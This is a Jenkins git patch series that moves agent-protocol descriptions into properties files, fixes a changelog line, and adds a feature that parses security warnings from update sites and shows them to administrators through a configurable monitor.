a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.properties b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.properties new file mode 100644 index 0000000000..3422f15553 --- /dev/null +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.properties @@ -0,0 +1,2 @@ +summary=Accepts connections from remote clients so that they can be used as additional build agents. \ + This protocol is unencrypted. diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description_sr.properties b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description_sr.properties index 040bfa0465..3f5c9d27c2 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description_sr.properties +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Accepts\ connections\ from\ remote\ clients\ so\ that\ they\ can\ be\ used\ as\ additional\ build\ agents=\u041F\u0440\u0438\u0445\u0432\u0430\u0442\u0430 \u0432\u0435\u0437\u0435 \u043E\u0434 \u043A\u043B\u0438\u0458\u0435\u043D\u0442\u0438\u043C\u0430 \u0434\u0430 \u0431\u0438 \u043C\u043E\u0433\u043B\u0438 \u0441\u0435 \u0443\u043F\u043E\u0442\u0440\u0435\u0431\u0438\u0442\u0438 \u043A\u0430\u043E \u0434\u043E\u0434\u0430\u0442\u043D\u0435 \u0430\u0433\u0435\u043D\u0442\u0435 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443. +summary=\u041f\u0440\u0438\u0445\u0432\u0430\u0442\u0430 \u0432\u0435\u0437\u0435 \u043e\u0434 \u043a\u043b\u0438\u0458\u0435\u043d\u0442\u0438\u043c\u0430 \u0434\u0430 \u0431\u0438 \u043c\u043e\u0433\u043b\u0438 \u0441\u0435 \u0443\u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0442\u0438 \u043a\u0430\u043e \u0434\u043e\u0434\u0430\u0442\u043d\u0435 \u0430\u0433\u0435\u043d\u0442\u0435 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045a\u0443. diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly index b73ddec909..55e2c974b5 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly @@ -1,4 +1,4 @@ - ${%Extends the version 1 protocol by adding a per-client cookie, so that we can detect a reconnection from the agent and take appropriate action. This protocol is unencrypted.} + ${%summary} diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.properties b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.properties new file mode 100644 index 0000000000..edb6b96c46 --- /dev/null +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.properties @@ -0,0 +1,3 @@ +summary=Extends the version 1 protocol by adding a per-client cookie, \ +so that we can detect a reconnection from the agent and take appropriate action. \ +This protocol is unencrypted. diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description_sr.properties b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description_sr.properties index a073aa440e..f96b74e2e0 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description_sr.properties +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Extends\ the\ version\ 1\ protocol\ by\ adding\ a\ per-client\ cookie,\ so\ that\ we\ can\ detect\ a\ reconnection\ from\ the\ agent\ and\ take\ appropriate\ action=\u041D\u0430\u0434\u0433\u0440\u0430\u0452\u0443\u0458\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 1 \u043F\u0440\u043E\u0442\u043E\u043A\u043E\u043B\u0430 \u0434\u043E\u0434\u0430\u0432\u0430\u045B\u0438 cookie \u0441\u0432\u0430\u043A\u043E\u043C \u043A\u043B\u0438\u0458\u0435\u043D\u0442\u0443, \u0448\u0442\u043E \u043E\u043C\u043E\u0433\u0443\u0458\u0443\u045B\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u0432\u0435\u0437\u0438\u0432\u0430\u045A\u0435 \u0441\u0430 \u0430\u0433\u0435\u043D\u0442\u043E\u043C. +summary=\u041d\u0430\u0434\u0433\u0440\u0430\u0452\u0443\u0458\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 1 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0434\u043e\u0434\u0430\u0432\u0430\u045b\u0438 cookie \u0441\u0432\u0430\u043a\u043e\u043c \u043a\u043b\u0438\u0458\u0435\u043d\u0442\u0443, \u0448\u0442\u043e \u043e\u043c\u043e\u0433\u0443\u0458\u0443\u045b\u0435 \u043f\u043e\u043d\u043e\u0432\u043e \u043f\u043e\u0432\u0435\u0437\u0438\u0432\u0430\u045a\u0435 \u0441\u0430 \u0430\u0433\u0435\u043d\u0442\u043e\u043c. diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly index 58af595972..55e2c974b5 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly @@ -1,4 +1,4 @@ - ${%Extends the version 2 protocol by adding basic encryption but requires a thread per client. This protocol falls back to Java Web Start Agent Protocol/2 (unencrypted) when it can't create a secure connection. This protocol is not recommended. Use Java Web Start Agent Protocol/4 instead.} + ${%summary} diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.properties b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.properties new file mode 100644 index 0000000000..3e5d49de58 --- /dev/null +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.properties @@ -0,0 +1,4 @@ +summary=Extends the version 2 protocol by adding basic encryption but requires a thread per client. \ + This protocol falls back to Java Web Start Agent Protocol/2 (unencrypted) when it can't create a secure connection. \ + This protocol is not recommended. \ + Use Java Web Start Agent Protocol/4 instead. diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description_sr.properties b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description_sr.properties index f15cfe2319..8c185f3e4b 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description_sr.properties +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors - -Extends\ the\ version\ 2\ protocol\ by\ adding\ basic\ encryption\ but\ requires\ a\ thread\ per\ client=\u041D\u0430\u0434\u0433\u0440\u0430\u0452\u0443\u0458\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 2 \u043F\u0440\u043E\u0442\u043E\u043A\u043E\u043B\u0430 \u0434\u043E\u0434\u0430\u0432\u0430\u0458\u0443\u045B\u0438 \u0448\u0438\u0444\u0440\u043E\u0432\u0430\u045A\u0435 (\u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0458\u0435\u0434\u0430\u043D \u043D\u0438\u0437 \u0437\u0430 \u0441\u0432\u0430\u043A\u043E\u0433 \u043A\u043B\u0438\u0458\u0435\u043D\u0442\u0430) +#TODO: Summary is outdated, needs to be modified +summary=\u041d\u0430\u0434\u0433\u0440\u0430\u0452\u0443\u0458\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 2 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0434\u043e\u0434\u0430\u0432\u0430\u0458\u0443\u045b\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u045a\u0435 (\u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e \u0458\u0435\u0434\u0430\u043d \u043d\u0438\u0437 \u0437\u0430 \u0441\u0432\u0430\u043a\u043e\u0433 \u043a\u043b\u0438\u0458\u0435\u043d\u0442\u0430) diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly index 31c51e4ce9..55e2c974b5 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly @@ -1,4 +1,4 @@ - ${%A TLS secured connection between the master and the agent performed by TLS upgrade of the socket.} + ${%summary} diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.properties b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.properties new file mode 100644 index 0000000000..9cf2b4b2f8 --- /dev/null +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.properties @@ -0,0 +1 @@ +summary=A TLS secured connection between the master and the agent performed by TLS upgrade of the socket. -- GitLab From d198722e35525c489fea6dd5703981a5d43a6c77 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sun, 8 Jan 2017 20:35:17 +0100 Subject: [PATCH 505/712] Fix #2687 change message --- changelog.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 68c01705a7..2bd4b8e7bf 100644 --- a/changelog.html +++ b/changelog.html @@ -58,7 +58,7 @@ Upcoming changes
                                  • Do not print warnings about undefined parameters - when hudson.model.ParametersAction.keepUndefinedParameters property is set to true. + when hudson.model.ParametersAction.keepUndefinedParameters property is set to false. (pull 2687)
                                  • Prevent the ClassNotFoundException: javax.servlet.ServletException error -- GitLab From c252a764024a94f018fe34dc58702885a48fff8f Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sun, 8 Jan 2017 22:27:08 +0100 Subject: [PATCH 506/712] [JENKINS-40494] Process warnings from update sites (#2680) * [FIX JENKINS-40494] Process warnings from update sites * [JENKINS-40494] Address review comments * [JENKINS-40494] Add warnings to available/update plugin manager tabs * [JENKINS-40494] Add tests * [JENKINS-40494] Address review feedback --- .../main/java/hudson/model/UpdateSite.java | 307 ++++++++++++++++++ .../UpdateSiteWarningsConfiguration.java | 124 +++++++ .../security/UpdateSiteWarningsMonitor.java | 177 ++++++++++ .../hudson/PluginManager/table.jelly | 9 + .../hudson/PluginManager/table.properties | 3 + .../jenkins/security/Messages.properties | 3 +- .../config.groovy | 70 ++++ .../config.properties | 27 ++ .../UpdateSiteWarningsConfiguration/help.html | 14 + .../UpdateSiteWarningsConfiguration/style.css | 4 + .../UpdateSiteWarningsMonitor/message.groovy | 77 +++++ .../message.properties | 31 ++ .../java/hudson/model/UpdateSiteTest.java | 25 +- .../warnings-update-center-malformed.json | 264 +++++++++++++++ war/src/main/webapp/css/style.css | 7 + 15 files changed, 1140 insertions(+), 2 deletions(-) create mode 100644 core/src/main/java/jenkins/security/UpdateSiteWarningsConfiguration.java create mode 100644 core/src/main/java/jenkins/security/UpdateSiteWarningsMonitor.java create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.groovy create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.properties create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/help.html create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/style.css create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.groovy create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.properties create mode 100644 test/src/test/resources/plugins/warnings-update-center-malformed.json diff --git a/core/src/main/java/hudson/model/UpdateSite.java b/core/src/main/java/hudson/model/UpdateSite.java index 01bf9c6ddb..3a234941a4 100644 --- a/core/src/main/java/hudson/model/UpdateSite.java +++ b/core/src/main/java/hudson/model/UpdateSite.java @@ -26,6 +26,7 @@ package hudson.model; import hudson.ClassicPluginStrategy; +import hudson.ExtensionList; import hudson.PluginManager; import hudson.PluginWrapper; import hudson.Util; @@ -46,7 +47,9 @@ import java.security.GeneralSecurityException; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; +import java.util.HashSet; import java.util.List; +import java.util.Locale; import java.util.Map; import java.util.Set; import java.util.TreeMap; @@ -55,17 +58,24 @@ import java.util.concurrent.Callable; import java.util.concurrent.Future; import java.util.logging.Level; import java.util.logging.Logger; +import java.util.regex.Pattern; +import java.util.regex.PatternSyntaxException; import javax.annotation.CheckForNull; import javax.annotation.Nonnull; +import javax.annotation.Nullable; + import jenkins.model.Jenkins; import jenkins.model.DownloadSettings; +import jenkins.security.UpdateSiteWarningsConfiguration; import jenkins.util.JSONSignatureValidator; import jenkins.util.SystemProperties; +import net.sf.json.JSONArray; import net.sf.json.JSONException; import net.sf.json.JSONObject; import org.apache.commons.io.IOUtils; import org.apache.commons.lang.StringUtils; import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.DoNotUse; import org.kohsuke.accmod.restrictions.NoExternalUse; import org.kohsuke.stapler.DataBoundConstructor; import org.kohsuke.stapler.HttpResponse; @@ -513,6 +523,12 @@ public class UpdateSite { * Plugins in the repository, keyed by their artifact IDs. */ public final Map plugins = new TreeMap(String.CASE_INSENSITIVE_ORDER); + /** + * List of warnings (mostly security) published with the update site. + * + * @since TODO + */ + private final Set warnings = new HashSet(); /** * If this is non-null, Jenkins is going to check the connectivity to this URL to make sure @@ -528,6 +544,18 @@ public class UpdateSite { } else { core = null; } + + JSONArray w = o.optJSONArray("warnings"); + if (w != null) { + for (int i = 0; i < w.size(); i++) { + try { + warnings.add(new Warning(w.getJSONObject(i))); + } catch (JSONException ex) { + LOGGER.log(Level.WARNING, "Failed to parse JSON for warning", ex); + } + } + } + for(Map.Entry e : (Set>)o.getJSONObject("plugins").entrySet()) { Plugin p = new Plugin(sourceId, e.getValue()); // JENKINS-33308 - include implied dependencies for older plugins that may need them @@ -545,6 +573,16 @@ public class UpdateSite { connectionCheckUrl = (String)o.get("connectionCheckUrl"); } + /** + * Returns the set of warnings + * @return the set of warnings + * @since TODO + */ + @Restricted(NoExternalUse.class) + public Set getWarnings() { + return this.warnings; + } + /** * Is there a new version of the core? */ @@ -646,6 +684,232 @@ public class UpdateSite { } + /** + * A version range for {@code Warning}s indicates which versions of a given plugin are affected + * by it. + * + * {@link #name}, {@link #firstVersion} and {@link #lastVersion} fields are only used for administrator notices. + * + * The {@link #pattern} is used to determine whether a given warning applies to the current installation. + * + * @since TODO + */ + @Restricted(NoExternalUse.class) + public static final class WarningVersionRange { + /** + * Human-readable English name for this version range, e.g. 'regular', 'LTS', '2.6 line'. + */ + @Nullable + public final String name; + + /** + * First version in this version range to be subject to the warning. + */ + @Nullable + public final String firstVersion; + + /** + * Last version in this version range to be subject to the warning. + */ + @Nullable + public final String lastVersion; + + /** + * Regular expression pattern for this version range that matches all included version numbers. + */ + @Nonnull + private final Pattern pattern; + + public WarningVersionRange(JSONObject o) { + this.name = Util.fixEmpty(o.optString("name")); + this.firstVersion = Util.fixEmpty(o.optString("firstVersion")); + this.lastVersion = Util.fixEmpty(o.optString("lastVersion")); + Pattern p; + try { + p = Pattern.compile(o.getString("pattern")); + } catch (PatternSyntaxException ex) { + LOGGER.log(Level.WARNING, "Failed to compile pattern '" + o.getString("pattern") + "', using '.*' instead", ex); + p = Pattern.compile(".*"); + } + this.pattern = p; + } + + public boolean includes(VersionNumber number) { + return pattern.matcher(number.toString()).matches(); + } + } + + /** + * Represents a warning about a certain component, mostly related to known security issues. + * + * @see UpdateSiteWarningsConfiguration + * @see jenkins.security.UpdateSiteWarningsMonitor + * + * @since TODO + */ + @Restricted(NoExternalUse.class) + public static final class Warning { + + public enum Type { + CORE, + PLUGIN, + UNKNOWN + } + + /** + * The type classifier for this warning. + */ + @Nonnull + public /* final */ Type type; + + /** + * The globally unique ID of this warning. + * + *

                                    This is typically the CVE identifier or SECURITY issue (Jenkins project); + * possibly with a unique suffix (e.g. artifactId) if either applies to multiple components.

                                    + */ + @Exported + @Nonnull + public final String id; + + /** + * The name of the affected component. + *
                                      + *
                                    • If type is 'core', this is 'core' by convention. + *
                                    • If type is 'plugin', this is the artifactId of the affected plugin + *
                                    + */ + @Exported + @Nonnull + public final String component; + + /** + * A short, English language explanation for this warning. + */ + @Exported + @Nonnull + public final String message; + + /** + * A URL with more information about this, typically a security advisory. For use in administrator notices + * only, so + */ + @Exported + @Nonnull + public final String url; + + /** + * A list of named version ranges specifying which versions of the named component this warning applies to. + * + * If this list is empty, all versions of the component are considered to be affected by this warning. + */ + @Exported + @Nonnull + public final List versionRanges; + + /** + * + * @param o the {@link JSONObject} representing the warning + * @throws JSONException if the argument does not match the expected format + */ + @Restricted(NoExternalUse.class) + public Warning(JSONObject o) { + try { + this.type = Type.valueOf(o.getString("type").toUpperCase(Locale.US)); + } catch (IllegalArgumentException ex) { + this.type = Type.UNKNOWN; + } + this.id = o.getString("id"); + this.component = o.getString("name"); + this.message = o.getString("message"); + this.url = o.getString("url"); + + if (o.has("versions")) { + List ranges = new ArrayList<>(); + JSONArray versions = o.getJSONArray("versions"); + for (int i = 0; i < versions.size(); i++) { + WarningVersionRange range = new WarningVersionRange(versions.getJSONObject(i)); + ranges.add(range); + } + this.versionRanges = Collections.unmodifiableList(ranges); + } else { + this.versionRanges = Collections.emptyList(); + } + } + + /** + * Two objects are considered equal if they are the same type and have the same ID. + * + * @param o the other object + * @return true iff this object and the argument are considered equal + */ + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (!(o instanceof Warning)) return false; + + Warning warning = (Warning) o; + + return id.equals(warning.id); + } + + @Override + public int hashCode() { + return id.hashCode(); + } + + public boolean isPluginWarning(@Nonnull String pluginName) { + return type == Type.PLUGIN && pluginName.equals(this.component); + } + + /** + * Returns true if this warning is relevant to the current configuration + * @return true if this warning is relevant to the current configuration + */ + public boolean isRelevant() { + switch (this.type) { + case CORE: + VersionNumber current = Jenkins.getVersion(); + + if (!isRelevantToVersion(current)) { + return false; + } + return true; + case PLUGIN: + + // check whether plugin is installed + PluginWrapper plugin = Jenkins.getInstance().getPluginManager().getPlugin(this.component); + if (plugin == null) { + return false; + } + + // check whether warning is relevant to installed version + VersionNumber currentCore = plugin.getVersionNumber(); + if (!isRelevantToVersion(currentCore)) { + return false; + } + return true; + case UNKNOWN: + default: + return false; + } + } + + public boolean isRelevantToVersion(@Nonnull VersionNumber version) { + if (this.versionRanges.isEmpty()) { + // no version ranges specified, so all versions are affected + return true; + } + + for (UpdateSite.WarningVersionRange range : this.versionRanges) { + if (range.includes(version)) { + return true; + } + } + return false; + } + } + public final class Plugin extends Entry { /** * Optional URL to the Wiki page that discusses this plugin. @@ -863,6 +1127,49 @@ public class UpdateSite { return true; } + /** + * @since TODO + */ + @CheckForNull + @Restricted(NoExternalUse.class) + public Set getWarnings() { + ExtensionList list = ExtensionList.lookup(UpdateSiteWarningsConfiguration.class); + if (list.size() == 0) { + return Collections.emptySet(); + } + + Set warnings = new HashSet<>(); + + UpdateSiteWarningsConfiguration configuration = list.get(0); + + for (Warning warning: configuration.getAllWarnings()) { + if (configuration.isIgnored(warning)) { + // warning is currently being ignored + continue; + } + if (!warning.isPluginWarning(this.name)) { + // warning is not about this plugin + continue; + } + + if (!warning.isRelevantToVersion(new VersionNumber(this.version))) { + // warning is not relevant to this version + continue; + } + warnings.add(warning); + } + + return warnings; + } + + /** + * @since TODO + */ + @Restricted(DoNotUse.class) + public boolean hasWarnings() { + return getWarnings().size() > 0; + } + /** * @deprecated as of 1.326 * Use {@link #deploy()}. diff --git a/core/src/main/java/jenkins/security/UpdateSiteWarningsConfiguration.java b/core/src/main/java/jenkins/security/UpdateSiteWarningsConfiguration.java new file mode 100644 index 0000000000..08bce4881b --- /dev/null +++ b/core/src/main/java/jenkins/security/UpdateSiteWarningsConfiguration.java @@ -0,0 +1,124 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security; + +import hudson.Extension; +import hudson.PluginWrapper; +import hudson.model.UpdateSite; +import jenkins.model.GlobalConfiguration; +import jenkins.model.GlobalConfigurationCategory; +import jenkins.model.Jenkins; +import net.sf.json.JSONObject; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; +import org.kohsuke.stapler.StaplerRequest; + +import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; +import java.util.Collections; +import java.util.HashSet; +import java.util.Set; + +/** + * Configuration for update site-provided warnings. + * + * @see UpdateSiteWarningsMonitor + * + * @since TODO + */ +@Extension +@Restricted(NoExternalUse.class) +public class UpdateSiteWarningsConfiguration extends GlobalConfiguration { + + private HashSet ignoredWarnings = new HashSet<>(); + + @Override + public GlobalConfigurationCategory getCategory() { + return GlobalConfigurationCategory.get(GlobalConfigurationCategory.Security.class); + } + + public UpdateSiteWarningsConfiguration() { + load(); + } + + @Nonnull + public Set getIgnoredWarnings() { + return Collections.unmodifiableSet(ignoredWarnings); + } + + public boolean isIgnored(@Nonnull UpdateSite.Warning warning) { + return ignoredWarnings.contains(warning.id); + } + + @CheckForNull + public PluginWrapper getPlugin(@Nonnull UpdateSite.Warning warning) { + if (warning.type != UpdateSite.Warning.Type.PLUGIN) { + return null; + } + return Jenkins.getInstance().getPluginManager().getPlugin(warning.component); + } + + @Nonnull + public Set getAllWarnings() { + HashSet allWarnings = new HashSet<>(); + + for (UpdateSite site : Jenkins.getInstance().getUpdateCenter().getSites()) { + UpdateSite.Data data = site.getData(); + if (data != null) { + allWarnings.addAll(data.getWarnings()); + } + } + return allWarnings; + } + + @Nonnull + public Set getApplicableWarnings() { + Set allWarnings = getAllWarnings(); + + HashSet applicableWarnings = new HashSet<>(); + for (UpdateSite.Warning warning: allWarnings) { + if (warning.isRelevant()) { + applicableWarnings.add(warning); + } + } + + return Collections.unmodifiableSet(applicableWarnings); + } + + + @Override + public boolean configure(StaplerRequest req, JSONObject json) throws FormException { + HashSet newIgnoredWarnings = new HashSet<>(); + for (Object key : json.keySet()) { + String warningKey = key.toString(); + if (!json.getBoolean(warningKey)) { + newIgnoredWarnings.add(warningKey); + } + } + this.ignoredWarnings = newIgnoredWarnings; + this.save(); + return true; + } +} diff --git a/core/src/main/java/jenkins/security/UpdateSiteWarningsMonitor.java b/core/src/main/java/jenkins/security/UpdateSiteWarningsMonitor.java new file mode 100644 index 0000000000..378717448d --- /dev/null +++ b/core/src/main/java/jenkins/security/UpdateSiteWarningsMonitor.java @@ -0,0 +1,177 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security; + +import hudson.Extension; +import hudson.ExtensionList; +import hudson.PluginWrapper; +import hudson.model.AdministrativeMonitor; +import hudson.model.UpdateSite; +import hudson.util.HttpResponses; +import jenkins.model.Jenkins; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; +import org.kohsuke.stapler.HttpResponse; +import org.kohsuke.stapler.QueryParameter; +import org.kohsuke.stapler.interceptor.RequirePOST; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; + + +/** + * Administrative monitor showing plugin/core warnings published by the configured update site to the user. + * + *

                                    Terminology overview:

                                    + * + *
                                      + *
                                    • Applicable warnings are those relevant to currently installed components + *
                                    • Active warnings are those actually shown to users. + *
                                    • Hidden warnings are those _not_ shown to users due to them being configured to be hidden. + *
                                    • Inapplicable warnings are those that are not applicable. + *
                                    + * + *

                                    The following sets may be non-empty:

                                    + * + *
                                      + *
                                    • Intersection of applicable and active + *
                                    • Intersection of applicable and hidden + *
                                    • Intersection of hidden and inapplicable (although not really relevant) + *
                                    • Intersection of inapplicable and neither hidden nor active + *
                                    + * + *

                                    The following sets must necessarily be empty:

                                    + * + *
                                      + *
                                    • Intersection of applicable and inapplicable + *
                                    • Intersection of active and hidden + *
                                    • Intersection of active and inapplicable + *
                                    + * + * @since TODO + */ +@Extension +@Restricted(NoExternalUse.class) +public class UpdateSiteWarningsMonitor extends AdministrativeMonitor { + @Override + public boolean isActivated() { + return !getActiveCoreWarnings().isEmpty() || !getActivePluginWarningsByPlugin().isEmpty(); + } + + public List getActiveCoreWarnings() { + List CoreWarnings = new ArrayList<>(); + + for (UpdateSite.Warning warning : getActiveWarnings()) { + if (warning.type != UpdateSite.Warning.Type.CORE) { + // this is not a core warning + continue; + } + CoreWarnings.add(warning); + } + return CoreWarnings; + } + + public Map> getActivePluginWarningsByPlugin() { + Map> activePluginWarningsByPlugin = new HashMap<>(); + + for (UpdateSite.Warning warning : getActiveWarnings()) { + if (warning.type != UpdateSite.Warning.Type.PLUGIN) { + // this is not a plugin warning + continue; + } + + String pluginName = warning.component; + + PluginWrapper plugin = Jenkins.getInstance().getPluginManager().getPlugin(pluginName); + + if (!activePluginWarningsByPlugin.containsKey(plugin)) { + activePluginWarningsByPlugin.put(plugin, new ArrayList()); + } + activePluginWarningsByPlugin.get(plugin).add(warning); + } + return activePluginWarningsByPlugin; + + } + + private Set getActiveWarnings() { + ExtensionList configurations = ExtensionList.lookup(UpdateSiteWarningsConfiguration.class); + if (configurations.isEmpty()) { + return Collections.emptySet(); + } + UpdateSiteWarningsConfiguration configuration = configurations.get(0); + + HashSet activeWarnings = new HashSet<>(); + + for (UpdateSite.Warning warning : configuration.getApplicableWarnings()) { + if (!configuration.getIgnoredWarnings().contains(warning.id)) { + activeWarnings.add(warning); + } + } + + return Collections.unmodifiableSet(activeWarnings); + } + + /** + * Redirects the user to the plugin manager or security configuration + */ + @RequirePOST + public HttpResponse doForward(@QueryParameter String fix, @QueryParameter String configure) { + if (fix != null) { + return HttpResponses.redirectViaContextPath("pluginManager"); + } + if (configure != null) { + return HttpResponses.redirectViaContextPath("configureSecurity"); + } + + // shouldn't happen + return HttpResponses.redirectViaContextPath("/"); + } + + /** + * Returns true iff there are applicable but ignored (i.e. hidden) warnings. + * + * @return true iff there are applicable but ignored (i.e. hidden) warnings. + */ + public boolean hasApplicableHiddenWarnings() { + ExtensionList configurations = ExtensionList.lookup(UpdateSiteWarningsConfiguration.class); + if (configurations.isEmpty()) { + return false; + } + + UpdateSiteWarningsConfiguration configuration = configurations.get(0); + + return getActiveWarnings().size() < configuration.getApplicableWarnings().size(); + } + + @Override + public String getDisplayName() { + return Messages.UpdateSiteWarningsMonitor_DisplayName(); + } +} diff --git a/core/src/main/resources/hudson/PluginManager/table.jelly b/core/src/main/resources/hudson/PluginManager/table.jelly index 7c289a7c82..7511c82584 100644 --- a/core/src/main/resources/hudson/PluginManager/table.jelly +++ b/core/src/main/resources/hudson/PluginManager/table.jelly @@ -110,6 +110,15 @@ THE SOFTWARE.
                                    ${%depCoreWarning(p.getNeededDependenciesRequiredCore().toString())}
                                    + +
                                    ${%securityWarning} + +
                                    +
